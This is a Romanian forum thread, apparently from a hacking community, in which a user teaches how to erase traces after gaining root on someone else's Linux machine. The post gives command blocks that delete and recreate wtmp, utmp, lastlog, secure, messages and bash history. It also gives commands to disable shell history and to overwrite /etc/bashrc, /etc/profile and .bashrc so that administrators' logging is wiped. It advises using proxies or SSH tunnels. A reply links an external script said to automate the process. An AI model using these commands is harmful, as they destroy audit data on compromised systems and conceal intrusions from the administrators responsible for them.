Jump to content
a13x4nd7u

Cum si unde se pot gasi logurile pe Linux, si cum le pot sterge daca intru pe un root

Recommended Posts

Posted

In acest post o sa incerc sa raspund la intrbarea "Cum si unde se pot gasi logurile pe Linux, si cum le pot sterge daca intru pe un root?".

Daca aveti completari va rog sa le postati.

Acest script este pentru cei care stiu macar comenzile de baza de pe Linux.

Pentru a raspunde la aceasta intrebare trebuie sa va spun ca la fiecare pornire, fiecare program linux executa niste comenzi. Ele se gasesc in "/etc/*rc.rc", "/etc/*rc", /cale_catre_user_sau_root/.*rc si/sau /cale_catre_user_sau_root/.* .

De exemplu, cand deschizi bash se executa:


"/etc/bashrc" sau "/etc/bash.bashrc"
"/etc/profile"
"/etc/bash_completion"
"/cale_catre_user_sau_root/.profile"
"/cale_catre_user_sau_root/.bashrc"

Asa ca daca intram pe un user/root pe un alt calculator va trebui sa ne uitam si aici deoarece administratorul poate adauga intr-unul dintr-aceste fisiere un script care sa mai faca un log sau sa trimita un mail.

De exemplu, codul urmator adaugat la unul dintre acele fisiere o sa arate ca ai executat bash (sau te-ai logat) la data, ora, ce conturi mai erau folosite in momentul logarii, ce conexiuni cu alte calculatoare mai sunt in acel moment:


echo "`whoami` `hostname` `date` `who` `netstat -a`" > locatie_log

O mica observatie: In loc de log se poate face un script care de fiecare data cand cineva intra pe root sa ii trimita mail.

Administratorul poate face si altceva: sa nu adauge absolut nimic in niciunul din fisierele de mai sus, dar sa se foloseasca de crond, care poate rula anumite scripturi la o anumita pedioada de timp.

Scripturile "/etc/crontab" si "/etc/anacrontab" sunt scripturi in care se arata in ce foldere se vor gasi scripturile care vor fi rulate odata pe zi, o data pe saptamana, etc..

Pe un sistem care are crond pornit si scripturile nemodificate se vor gasi in folderele "/etc/cron.d", "/etc/cron.hourly", "/etc/cron.daily", "/etc/cron.weekly", "/etc/cron.monthly" scripturi care vor fi executate la anumite perioade de timp, dupa cum sugereaza si numele folderelor.

In folderul "/etc/cron.d" pot fi executate comenzi la orice alta perioada de timp, perioada care este definita in fisierele dinauntru.

Pentru a fi siguri ca au fost sterse toate logurile uitati-va si in "/etc/syslog.conf" ca sa vedeti unde sunt celelalte loguri create de syslogd (asta doar in cazul in care syslogd este pornit).

In "syslog.conf" vedeti si multe alte locuri ale logurilor de pe linux care trebuiesc sterse pe care nu am putut sa le arat aici.

Dar ca model o sa va arat comenzile care trebuiesc folosite pentru a sterge un log XXX:


rm -rf /cale_catre_log/XXX
touch /cale_catre_log/XXX

Mai pot fi si alte programe care logheaza activitatea pe un sistem (care sunt folosite mai rar, adica nu am avut parte de niciunul dintre ele). De exemplu: tuxlog, Xlog, svlogd, etc..

Pentru a sterge toate logurile dintr-un sistem trebuie sa va uitati la procese si sa vedeti ce procese de logare are (asta daca nu le-a modificat numele, astfel devenind greu observabile).

Pentru a vedea toate procesele care ruleaza pe un calculator care are Linux executati comanda:


ps -A

Urmatorul cod trebuie executat imediat dupa logarea ca root, in folderul de root (contine parti din Illusion):


rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
rm -rf /var/log/wtmp
rm -rf /var/log/secure
rm -rf /var/log/lastlog
rm -rf /var/log/messages
touch /var/log/messagess
touch /var/log/wtmp
touch /var/log/secure
touch /var/log/lastlog
rm -rf /root/.bash_history
touch /root/.bash_history

Inainte sa iesi executi urmatoarele comenzi:


rm -rf .bash_history
rm -rf /var/run/utmp
rm -rf /var/run/wtmp -
rm -rf /var/log/lastlog
rm -rf /usr/adm/lastlog
rm -rf .bash_history
cd /var/log/
rm -rf wtmp
rm -rf secure
rm -rf lastlog
rm -rf messages
touch messagess
touch wtmp
touch secure
touch lastlog
rm -rf /root/.bash_history
touch /root/.bash_history

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG;export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0

Daca ati gasit scripturi care logheaza puteti folosi codul urmator care rescrie bashrc si .bashrc pentru a fi siguri ca nu va mai loga nimic data viitoare:


if [ -f /etc/bashrc ]; then
echo "PS1='\u@\h:\w#'" > /etc/bashrc
fi

if [ -f /etc/bash.bashrc ]; then
echo "PS1=\'\\u@\\h:\\w#\'" > /etc/bash.bashrc
fi

echo "PATH=\"/usr/local/sbin:/usr/local/bin:/bin" > /etc/profile
echo ":/sbin:/usr/bin:/usr/sbin\"\nexport PATH\n\numask 022" >> /etc/profile
echo "export PS1=\'\h:\w:\$\'\n umask 022" > .bashrc
echo "if [ -f /etc/bashrc ]; then\n. ~/.bashrc\nfi" > .profile

Am considerat log important si ceea ce poate fi executat la pornirea bash pentru ca poate scrie pe hard multe despre cel care s-a logat si tocmai s-a apucat sa foloseasca bash (user, data, ora, IP, MAC, ... - depinde de script).

Concluzia:

==========

Daca intrati in calculator trebuie sa aveti in vedere ca un administrator priceput poate adauga niste loguri ascunse sau modifica locatiile prestabilite, logurile fiind greu de gasit.

Chiar daca stergeti logurile intrati pe root numai cu un proxy, ssh tunnelling, etc..

Daca as fi administrator si as vrea sa fiu al dracu' as pune scriptul de logare in "/etc/bash_completion" pentru ca acolo e atata cod ca nu se uita nimeni si poti ascunde usor o linie de cod care logheaza.

Acest post contine parti din Illusion de pe Packet Storm Seucrity.

Stiu ca s-a mai postat ceva asemanator aici, motiv pentru care m-am inspirat si de acolo pentru ca sa am un post cat mai complet.

By a13x4nd7u.

EDIT:

Si daca aveti intrebari va rog sa le puneti.

Posted
edit: uite si scriptul care face treaba mai usoara ... nu l-am verificat inca dar pare in regula la prima vedere:

http://www.2shared.com/file/4587210/38521cd0/New_Text_Document.html

Nu il pot posta ... prea multe caractere

edit: Apropo bun tutorial,nu toti stiu cat de importante sunt logurile in Linux cu toate ca inainte sa invete despre loguri ar trebui sa treaca prin alte etape

Ai dreptate, ar trebui sa fac si tutoriale mai usoare despre Linux. Daca ai idei, spune-mi. :)

Cred ca in curand o sa postez si despre socketuri linux in C. E simplu si frumos. :)

EDIT:

Multumesc!

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...